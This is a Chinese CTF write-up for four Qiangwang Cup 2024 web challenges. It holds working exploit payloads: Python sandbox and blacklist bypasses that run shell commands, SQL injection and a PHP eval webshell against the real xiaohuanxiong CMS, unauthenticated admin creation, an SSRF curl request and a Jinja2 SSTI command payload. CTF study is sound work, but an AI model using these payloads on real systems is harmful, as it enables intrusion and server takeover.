当前位置: 首页 > news >正文

强网杯2024 Web WP

强网杯2024

参考链接:https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ

PyBlockly

源码:

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import jsonapp = Flask(__name__)
app.config['JSON_AS_ASCII'] = Falseblacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"def module_exists(module_name):spec = importlib.util.find_spec(module_name)if spec is None:return Falseif module_name in sys.builtin_module_names:return Trueif spec.origin:std_lib_path = os.path.dirname(os.__file__)if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):return Truereturn Falsedef verify_secure(m):for node in ast.walk(m):match type(node):case ast.Import:  print("ERROR: Banned module ")return Falsecase ast.ImportFrom: print(f"ERROR: Banned module {node.module}")return Falsereturn Truedef check_for_blacklisted_symbols(input_text):if re.search(blacklist_pattern, input_text):print('black_list over.', re.search(blacklist_pattern, input_text))return Trueelse:print('black_list detected.', re.search(blacklist_pattern, input_text))return Falsedef block_to_python(block):block_type = block['type']code = ''if block_type == 'print':text_block = block['inputs']['TEXT']['block']text = block_to_python(text_block)  code = f"print({text})"elif block_type == 'math_number':if str(block['fields']['NUM']).isdigit():      code =  int(block['fields']['NUM']) else:code = ''elif block_type == 'text':if check_for_blacklisted_symbols(block['fields']['TEXT']):code = ''else:code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"elif block_type == 'max':a_block = block['inputs']['A']['block']b_block = block['inputs']['B']['block']a = block_to_python(a_block)  b = block_to_python(b_block)code =  f"max({a}, {b})"elif block_type == 'min':a_block = block['inputs']['A']['block']b_block = block['inputs']['B']['block']a = block_to_python(a_block)b = block_to_python(b_block)code =  f"min({a}, {b})"if 'next' in block:block = block['next']['block']code +="\n" + block_to_python(block)+ "\n"else:return code return codedef json_to_python(blockly_data):block = blockly_data['blocks']['blocks'][0]python_code = ""python_code += block_to_python(block) + "\n"return python_codedef do(source_code):hook_code = '''
def my_audit_hook(event_name, arg):blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]if len(event_name) > 4:raise RuntimeError("Too Long!")for bad in blacklist:if bad in event_name:raise RuntimeError("No!")__import__('sys').addaudithook(my_audit_hook)'''print('do!')print('Source code: ',source_code)code = hook_code + source_codetree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree):  with open("run.py", 'w') as f:f.write(code)        result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")os.remove('run.py')return resultelse:return "Execution aborted due to security concerns."except:os.remove('run.py')return "Timeout!"@app.route('/')
def index():return app.send_static_file('index.html')@app.route('/blockly_json', methods=['POST'])
def blockly_json():blockly_data = request.get_data()print(type(blockly_data))blockly_data = json.loads(blockly_data.decode('utf-8'))print(blockly_data)try:python_code = json_to_python(blockly_data)print(python_code)return do(python_code)except Exception as e:return jsonify({"error": "Error generating Python code", "details": str(e)})if __name__ == '__main__':app.run(host = '0.0.0.0')

发现在text经过了unidecode.unidecode,会将中文字符转为英文字符,从而实现绕过黑名单。

源码的大概意思是向blockly_json接口Post需要发的Block参数,flask接受到参数后进行黑名单查询,然后进行拼接语句形成代码

将代码写入run.py,然后执行run.py,五秒后删除run.py

思路一

在text中写入恶意代码(用中文字符替换所有英文字符实现绕过),通过不断写入run.py来实现条件竞争(flask支持多程线,毕竟是web应用,在删除之前,再次发包即可执行run.py)

所以就是要不断向run.py写入我们的dd if=/flag代码,总会有被执行的时候

为了绕过黑名单和实现插入我们的代码:用))((来闭合前后的代码,用**bytes. fromhex(‘72756e2e7079’). decode()**来实现绕过blacklist = [“popen”, “input”, “eval”, “exec”, “compile”, “memoryview”]

text:

‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1

run.py:

print(max('',''))
\n
(open(bytes. fromhex('72756e2e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929')))
\n
print(print('1', 10))

python脚本:

import requests
import json
import threadingurl = 'http://127.0.0.1'
data = {"blocks": {"blocks": [{"type": "print","x": 101,"y": 102,"inputs": {"TEXT": {"block": {"type": "max","inputs": {"A": {"block": {"type": "text","fields": {"TEXT": "‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1"}}},"B": {"block": {"type": "math_number","fields": {"NUM": 10}}}}}}}}]}
}def send_requests():while 1:r = requests.post(url+'/blockly_json',headers={"Content-Type": "application/json"},data=json.dumps(data))text = r.textif '1 10' is not in text and "No such file or direct" not in text and len(text)>10:print(text)os.exit()threads = []
epochs = 100for _ in range(epochs):thread = threading.Thread(target=send_requests)threads.append(thread)thread.start()for thr in threads:thr.join()

思路二

dd if=/flag写入到1.py,第二次发包利用run.py执行1.py

第一次发包:

写入1.py

open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))

第二次发包:

执行2.py

__import__('1')

思路三

绕过len(event_name) > 4的限制:__import__("builtins").len=lambda a: 1,'闭合text部分代码,#注释掉后面的代码

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #

读不了,用dd提权

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"},"inputs":{}}]}}

xiaohuanxiong

拿到《正确》的源码感觉就比较困难()

git clone https://github.com/forkable/xiaohuanxiong.git

思路一

在application/index/controller/Index.php的search方法处:

$books = $this->bookService->search($keyword, $num);

其中$keyword未进行过滤,并且直接拼接到sql语句中

    public function search($keyword, $num){return Db::query("select * from " . $this->prefix . "book where delete_time=0 and match(book_name,summary,author_name,nick_name) against ('" . $keyword . "' IN NATURAL LANGUAGE MODE) LIMIT " . $num);

payload:

?keyword=0') or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)),3) # 

因为有加salt后md5的操作,我们不能直接解密出来密码

先注册一个空密码的账号,拿到密码的md5后解出来就是盐值,ce6b59575e5106006eee521e1fc77f79 => bf3a27

利用盐值来爆密码:

import hashlib
import itertoolssalt = 'bf3a27'
target_hash = 'cd68b9fa89089351c31f248f7a321583'
chars = '0123456789abcdef'
max_length = 6for length in range(1, max_length + 1):for password_tuple in itertools.product(chars, repeat=length):password = ''.join(password_tuple)hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()if hash_attempt == target_hash:print(f'Found password: {password}')break

后台:application/admin/controller/Index.php

    public function update(){if ($this->request->isPost()) {$site_name = input('site_name');$url = input('url');$img_site = input('img_site');$salt = input('salt');$api_key = input('api_key');$front_tpl = input('front_tpl');$payment = input('payment');$site_code = <<<INFO<?phpreturn ['url' => '{$url}','img_site' => '{$img_site}','site_name' => '{$site_name}','salt' => '{$salt}','api_key' => '{$api_key}', 'tpl' => '{$front_tpl}','payment' => '{$payment}'         ];
INFO;file_put_contents(App::getRootPath() . 'config/site.php', $site_code);$this->success('修改成功', 'index', '', 1);}}

?url=‘}+@eval($_POST[1])+{’

思路二

盐值爆不出来的话,继续审计

在application/admin/controller/Admins.php重写初始化,而没有checkAuth,导致了Admins.php下的越权

class Admins extends BaseAdmin
{protected $adminService;protected function initialize(){$this->adminService = new AdminService();}

新增管理员:

    public function save(Request $request){$data = $request->param();$admin = Admin::where('username','=',trim($data['username']))->find();if ($admin){$this->error('存在同名账号');}else{$admin = new Admin();$admin->username = $data['username'];$admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));$admin->save();$this->success('新增管理员成功');}}

由于网址默认设置了伪静态,所以应该访问admin/admins/save.html

// URL伪静态后缀
'url_html_suffix'        => 'html',

payload: admin/admins/save.html Post:username=admin1&password=123456

在处application/admin/controller/Payment.php,存在后台命令执行漏洞,直接传参json写马,<?php system(‘cat /flag’);

//支付配置文件
public function index()
{if ($this->request->isPost()) {$content = input('json');file_put_contents(App::getRootPath() . 'config/payment.php', $content);$this->success('保存成功');}$content = file_get_contents(App::getRootPath() . 'config/payment.php');$this->assign('json', $content);return view();
}

拿到shell后,flag在根目录

Proxy

mian.go

package mainimport ("bytes""io""net/http""os/exec""github.com/gin-gonic/gin"
)type ProxyRequest struct {URL             string            `json:"url" binding:"required"`Method          string            `json:"method" binding:"required"`Body            string            `json:"body"`Headers         map[string]string `json:"headers"`FollowRedirects bool              `json:"follow_redirects"`
}func main() {r := gin.Default()//api1,访问得到就给flagv1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}//api2v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil { //把请求的json数据解析后绑定到proxyRequestc.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}//根据proxyRequest的内容新建请求req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body))) 

payload:

curl -X POST http://47.93.15.136:30891/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:8769/v1/api/flag","method": "POST","body": "","headers": {},"follow_redirects": false
}'

snake

脑洞:JS+SSTI

一个js贪吃蛇游戏,修改本地js文件,通关之后发现/snake_win?username=admin路由, 进行联合查询, 并发现 SSTI:

1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20

lipsum是jinjia模板中用于生成随机文本的一种方法

platform

相关文章:

强网杯2024 Web WP

强网杯2024 参考链接&#xff1a;https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ PyBlockly 源码&#xff1a; from flask import Flask, request, jsonify import re import unidecode import string import ast …...

《双指针篇》---盛最多水的容器_Java(中等但简单)

题目传送门 1.首先计算出暂时的盛水体积 2.求暂时体积和最大体积max的最大值 3.更新right和left。如果height[left] > height[right] 那么right--否则left; class Solution {public int maxArea(int[] height) {int left 0,right height.length-1; int ret 0;while (lef…...

Linux: network: 环境:网络burst的一个原因,虚拟机感染病毒导致,外部网络设备太忙

最近碰到一个问题&#xff0c;测试人员在测试一周内的产品稳定性&#xff0c;带有的业务非常大。 总是不能满足需要的时长&#xff0c;总是在一段时间内出现丢包&#xff0c;业务出现错误的现象。从tshark/tcpdump的抓包看&#xff0c;确实在某个时间段&#xff0c;有一次十几秒…...

idea使用Translation插件实现翻译

1.打开idea&#xff0c;settings&#xff0c;选择plugins&#xff0c;搜索插件Translation&#xff0c;安装 2.选择翻译引擎 3.配置引擎&#xff0c;以有道词典为例 3.1 获取应用ID&#xff0c;应用秘钥 3.1.1 创建应用 点击进入有道智云控制台 3.1.2 复制ID和秘钥 3.2 idea设…...

[OS] sys_mmap() 函数+

流程图分析 1. 调用 sys_mmap() 步骤&#xff1a;当用户程序调用 mmap() 时&#xff0c;操作系统会进入 sys_mmap() 函数。作用&#xff1a;这是整个 mmap() 操作的入口。系统调用的实现从这里开始。 2. 提取参数&#xff08;Fetch Argument&#xff09; 步骤&#xff1a;从…...

轧钢机辊道多电动机传动控制系统

轧钢机辊道多电动机传动控制系统是一种复杂的工业自动化系统&#xff0c;主要用于控制轧钢车间中多个电动机驱动的辊道&#xff0c;以实现轧件的高效、稳定输送和加工。以下是对该系统的详细介绍&#xff1a; 系统组成 轧线辊道TDC控制器&#xff1a;作为系统的核心控制单元&a…...

使用 Nginx 部署 Python 项目

今天的目标是完成一个 Python Web 项目的线上部署&#xff0c;我们使用最新的 Django 项目搭建一个简易的 Web 工程&#xff0c;然后基于 Nginx 服务部署该 Python Web 项目。 1. 前期准备 1.1 安装虚拟环境pyenv 使用虚拟环境逐渐成了 python 项目开发中的一种主流方式。py…...

[笔记] SQL 优化

一. 数据库设计优化 1. 选择合适的字段类型 设计表时&#xff0c;尽量选择存储空间小的字段类型&#xff1a; 整型字段&#xff1a;从TINYINT、SMALLINT、INT到BIGINT。小数类型&#xff1a;对于金额等需精确计算的数值使用DECIMAL&#xff0c;避免使用FLOAT和DOUBLE。字符串…...

【InfluxDB】InfluxDB 2.x基础概念及原理

InfluxDB简介 什么是时序数据库 时序数据库&#xff0c;全称时间序列数据库&#xff08;Time Series Database&#xff0c;TSDB&#xff09;&#xff0c;用于存储大量基于时间的数据。时序数据库支持时序数据的快速写入、持久化&#xff0c;多维度查询、聚合等操作&#xff0…...

.net Core 使用Panda.DynamicWebApi动态构造路由

我们以前是通过创建controller来创建API&#xff0c;通过controller来显示的生成路由&#xff0c;这里我们讲解下如何不通过controller&#xff0c;构造API路由 安装 Panda.DynamicWebApi 1.2.2 1.2.2 Swashbuckle.AspNetCore 6.2.3 6.2.3添加ServiceAction…...

Spring框架和Spring Boot框架都使用注解来简化配置和提高开发效率,但它们之间存在一些区别

Spring框架和Spring Boot框架都使用注解来简化配置和提高开发效率&#xff0c;但它们之间存在一些区别&#xff1a; Spring框架注解&#xff1a; Autowired&#xff1a;自动导入对象到类中&#xff0c;被注入的类需要被Spring容器管理。Component、Repository、Service、Contro…...

从数据提取到管理:TextIn平台的全面解析与产品体验

一、引言 在现代信息时代&#xff0c;文档解析和管理已经成为企业和开发者不可或缺的工具。TextIn是合合信息旗下的一款智能文档处理平台&#xff0c;为开发者和企业提供高效、精准的文档解析工具&#xff0c;帮助用户轻松应对各种复杂的文档处理需求。本文将深入探讨TextIn的…...

2024 Rust现代实用教程 Error错误处理

文章目录 一、错误处理之&#xff1a;Result、Option以及panic!宏1.Result2.Option3.panic! 二、错误处理之&#xff1a;unwrap()与?1.unwrap()2.&#xff1f;运算符 三、自定义一个Error类型参考 一、错误处理之&#xff1a;Result、Option以及panic!宏 Rust中的错误可以分为…...

android 逆向破解360加固(MT管理器反编译)

1.需要准备的环境MT管理器 2.一台root手机 3,需要给app脱壳https://nop.gs/在这里脱壳 4.将脱壳的文件解压之后解压 5.用MT管理器打开需要反编译破解的app 6.然后把脱壳的classes.dex添加到破解的app里面删除原来的classes.dex 7.删除360加固的so,so在assets文件里面删除libjia…...

使用 SSH 蜜罐提升安全性和记录攻击活动

文章目录 使用 SSH 蜜罐提升安全性和记录攻击活动前言整体逻辑讲解安全最佳实践蜜罐的类型与选择数据分析与响应进一步学习资源修改 SSH 服务端口部署 FakeSSHFakeSSH 简介部署步骤记录攻击 部署 SSHSameSSHSame 简介部署步骤观察攻击行为 总结 使用 SSH 蜜罐提升安全性和记录攻…...

无人机拦截捕获/直接摧毁算法详解!

一、无人机拦截捕获算法 网捕技术 原理&#xff1a;抛撒特殊设计的网具&#xff0c;捕获并固定无人机。 特点&#xff1a; 适用于小型无人机。 对无人机的损害较小&#xff0c;基本不影响其后续使用。 捕获成功率较高&#xff0c;且成本相对较低。 应用实例&#xff1a;…...

后端eclipse——文字样式:UEditor富文本编辑器引入

目录 1.富文本编辑器的优点 2.文件的准备 3.文件的导入 导入到项目&#xff1a; 导入到html文件&#xff1a; ​编辑 4.富文本编辑器的使用 1.富文本编辑器的优点 我们从前端写入数据库时&#xff0c;文字的样式具有局限性&#xff0c;不能存在换行&#xff0c;更改字体…...

thinkphp6 redis 哈希存储方式以及操作函数(笔记)

逻辑&#xff1a;如果redis里没有指定表数据就进行存储再输出&#xff0c;如果有就直接输出&#xff0c;代码优化后几万条数据从数据库入redis也是三四秒的时间&#xff0c;数据以json方式存储&#xff1a;key用于数据ID 跟数据库数据ID同步&#xff0c;value用于存储整个字段包…...

「Mac畅玩鸿蒙与硬件28」UI互动应用篇5 - 滑动选择器实现

本篇将带你实现一个滑动选择器应用&#xff0c;用户可以通过滑动条选择不同的数值&#xff0c;并实时查看选定的值和提示。这是一个学习如何使用 Slider 组件、状态管理和动态文本更新的良好实践。 关键词 UI互动应用Slider 组件状态管理动态数值更新用户交互 一、功能说明 在…...

【嵌入式】STM32中的SPI通信

SPI是由摩托罗拉公司开发的一种通用数据总线&#xff0c;其中由四根通信线&#xff0c;支持总线挂载多设备&#xff08;一主多从&#xff09;&#xff0c;是一种同步全双工的协议。主要是实现主控芯片和外挂芯片之间的交流。这样可以使得STM32可以访问并控制各种外部芯片。本文…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力

引言&#xff1a; 在人工智能快速发展的浪潮中&#xff0c;快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型&#xff08;LLM&#xff09;。该模型代表着该领域的重大突破&#xff0c;通过独特方式融合思考与非思考…...

Cinnamon修改面板小工具图标

Cinnamon开始菜单-CSDN博客 设置模块都是做好的&#xff0c;比GNOME简单得多&#xff01; 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...

基于matlab策略迭代和值迭代法的动态规划

经典的基于策略迭代和值迭代法的动态规划matlab代码&#xff0c;实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…...

Java线上CPU飙高问题排查全指南

一、引言 在Java应用的线上运行环境中&#xff0c;CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时&#xff0c;通常会导致应用响应缓慢&#xff0c;甚至服务不可用&#xff0c;严重影响用户体验和业务运行。因此&#xff0c;掌握一套科学有效的CPU飙高问题排查方法&…...

day36-多路IO复用

一、基本概念 &#xff08;服务器多客户端模型&#xff09; 定义&#xff1a;单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用&#xff1a;应用程序通常需要处理来自多条事件流中的事件&#xff0c;比如我现在用的电脑&#xff0c;需要同时处理键盘鼠标…...

windows系统MySQL安装文档

概览&#xff1a;本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容&#xff0c;为学习者提供全面的操作指导。关键要点包括&#xff1a; 解压 &#xff1a;下载完成后解压压缩包&#xff0c;得到MySQL 8.…...

C++实现分布式网络通信框架RPC(2)——rpc发布端

有了上篇文章的项目的基本知识的了解&#xff0c;现在我们就开始构建项目。 目录 一、构建工程目录 二、本地服务发布成RPC服务 2.1理解RPC发布 2.2实现 三、Mprpc框架的基础类设计 3.1框架的初始化类 MprpcApplication 代码实现 3.2读取配置文件类 MprpcConfig 代码实现…...

QT开发技术【ffmpeg + QAudioOutput】音乐播放器

一、 介绍 使用ffmpeg 4.2.2 在数字化浪潮席卷全球的当下&#xff0c;音视频内容犹如璀璨繁星&#xff0c;点亮了人们的生活与工作。从短视频平台上令人捧腹的搞笑视频&#xff0c;到在线课堂中知识渊博的专家授课&#xff0c;再到影视平台上扣人心弦的高清大片&#xff0c;音…...

【把数组变成一棵树】有序数组秒变平衡BST,原来可以这么优雅!

【把数组变成一棵树】有序数组秒变平衡BST,原来可以这么优雅! 🌱 前言:一棵树的浪漫,从数组开始说起 程序员的世界里,数组是最常见的基本结构之一,几乎每种语言、每种算法都少不了它。可你有没有想过,一组看似“线性排列”的有序数组,竟然可以**“长”成一棵平衡的二…...